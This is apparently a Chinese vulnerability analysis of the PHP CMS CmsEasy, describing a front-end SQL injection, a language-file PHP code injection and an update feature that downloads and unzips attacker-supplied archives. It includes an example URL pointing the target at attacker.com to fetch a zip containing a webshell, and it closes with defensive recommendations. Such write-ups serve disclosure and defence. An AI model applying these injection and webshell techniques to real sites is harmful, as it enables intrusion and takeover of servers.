某Easy 漏洞挖掘
字数 1130 2025-08-04 00:38:21

CmsEasy 漏洞挖掘与分析

写在前面

CmsEasy 是一个基于PHP的内容管理系统,其架构特点如下:

  1. 入口文件index.php 定义了一些常量,设置文件包含目录,并注册了自定义加载类
  2. 目录结构
    • lib 目录包含前后台控制器
    • inc 文件夹提供数据库操作、控制器基类和模板渲染类
    • 所有控制器继承于 act
    • 数据库表操作类位于 table 文件夹,继承于 table
    • tool 文件夹存放小工具、自定义函数、WAF和应用调度

前台SQL注入漏洞

漏洞位置

crossall_act.php 文件中的 execsql_action 方法

漏洞分析

  1. 该方法接收GET请求的 sql 参数
  2. 对参数进行解码操作
  3. 关键点:该文件同时提供了加密函数,可直接用于加密SQL语句

利用步骤

  1. 使用文件提供的加密函数加密恶意SQL语句
  2. 发送加密后的SQL语句作为参数
  3. 系统解码后执行SQL查询

示例

// 加密SQL语句
$encrypted_sql = encrypt_function("SELECT * FROM users");

// 发送请求
http://target/crossall_act.php?sql=$encrypted_sql

后台远程代码执行(RCE)漏洞

漏洞一:语言文件注入

漏洞位置

language_admin.php 中的 add_action 方法

漏洞分析

  1. id=1时,操作的是中文语言包
  2. 插入新定义的键值对时,文件名和内容可控
  3. 关键注入点:
    $content=str_replace(');',"\n".$replace.');',$content);
    
  4. 问题:当内容包含);时会导致语法破坏

利用方法

  1. 构造包含特殊字符的输入
  2. 通过,/*等符号绕过语法限制
  3. 实现PHP代码注入

示例

// 构造恶意输入
$malicious_input = "', 'malicious_code'/*";

// 这将导致语言文件被修改为:
return array(
    'key' => 'value',
    'new_key' => '', 'malicious_code'/*');

漏洞二:任意文件下载与解压

漏洞位置

update_admin.php 中的 downfile_action 操作

漏洞分析

  1. 可控的url参数允许从任意服务器下载压缩文件
  2. 下载的压缩文件会被解压
  3. 攻击者可构造恶意压缩包包含:
    • upgrade/upgrade.sql - 用于SQL注入破坏数据库
    • 任意PHP文件 - 实现webshell上传

利用方法

  1. 准备恶意压缩包,包含:
    • 恶意SQL文件
    • Webshell PHP文件
  2. 通过可控URL参数指向恶意压缩包
  3. 系统下载并解压后实现攻击

示例

http://target/update_admin.php?action=downfile&url=http://attacker.com/malicious.zip

防御建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 禁止特殊字符在关键操作中使用
  2. 权限控制

    • 限制后台功能的访问权限
    • 实现最小权限原则
  3. 代码审计

    • 修复str_replace的安全使用方式
    • 避免直接执行用户提供的SQL语句
  4. 文件操作安全

    • 限制下载源为可信地址
    • 对解压文件进行安全检查
  5. WAF增强

    • 加强对特殊字符和SQL语句的检测
    • 监控异常的文件操作行为

总结

CmsEasy系统存在多处高危漏洞,包括前台SQL注入和后台远程代码执行,攻击者可利用这些漏洞获取系统权限、破坏数据或植入后门。建议用户及时更新到最新版本或应用相关补丁。

CmsEasy 漏洞挖掘与分析 写在前面 CmsEasy 是一个基于PHP的内容管理系统,其架构特点如下: 入口文件 : index.php 定义了一些常量,设置文件包含目录,并注册了自定义加载类 目录结构 : lib 目录包含前后台控制器 inc 文件夹提供数据库操作、控制器基类和模板渲染类 所有控制器继承于 act 类 数据库表操作类位于 table 文件夹,继承于 table 类 tool 文件夹存放小工具、自定义函数、WAF和应用调度 前台SQL注入漏洞 漏洞位置 crossall_act.php 文件中的 execsql_action 方法 漏洞分析 该方法接收GET请求的 sql 参数 对参数进行解码操作 关键点:该文件同时提供了加密函数,可直接用于加密SQL语句 利用步骤 使用文件提供的加密函数加密恶意SQL语句 发送加密后的SQL语句作为参数 系统解码后执行SQL查询 示例 后台远程代码执行(RCE)漏洞 漏洞一:语言文件注入 漏洞位置 language_admin.php 中的 add_action 方法 漏洞分析 当 id=1 时,操作的是中文语言包 插入新定义的键值对时,文件名和内容可控 关键注入点: 问题:当内容包含 ); 时会导致语法破坏 利用方法 构造包含特殊字符的输入 通过 ,/* 等符号绕过语法限制 实现PHP代码注入 示例 漏洞二:任意文件下载与解压 漏洞位置 update_admin.php 中的 downfile_action 操作 漏洞分析 可控的 url 参数允许从任意服务器下载压缩文件 下载的压缩文件会被解压 攻击者可构造恶意压缩包包含: upgrade/upgrade.sql - 用于SQL注入破坏数据库 任意PHP文件 - 实现webshell上传 利用方法 准备恶意压缩包,包含: 恶意SQL文件 Webshell PHP文件 通过可控URL参数指向恶意压缩包 系统下载并解压后实现攻击 示例 防御建议 输入验证 : 对所有用户输入进行严格过滤 禁止特殊字符在关键操作中使用 权限控制 : 限制后台功能的访问权限 实现最小权限原则 代码审计 : 修复 str_replace 的安全使用方式 避免直接执行用户提供的SQL语句 文件操作安全 : 限制下载源为可信地址 对解压文件进行安全检查 WAF增强 : 加强对特殊字符和SQL语句的检测 监控异常的文件操作行为 总结 CmsEasy系统存在多处高危漏洞,包括前台SQL注入和后台远程代码执行,攻击者可利用这些漏洞获取系统权限、破坏数据或植入后门。建议用户及时更新到最新版本或应用相关补丁。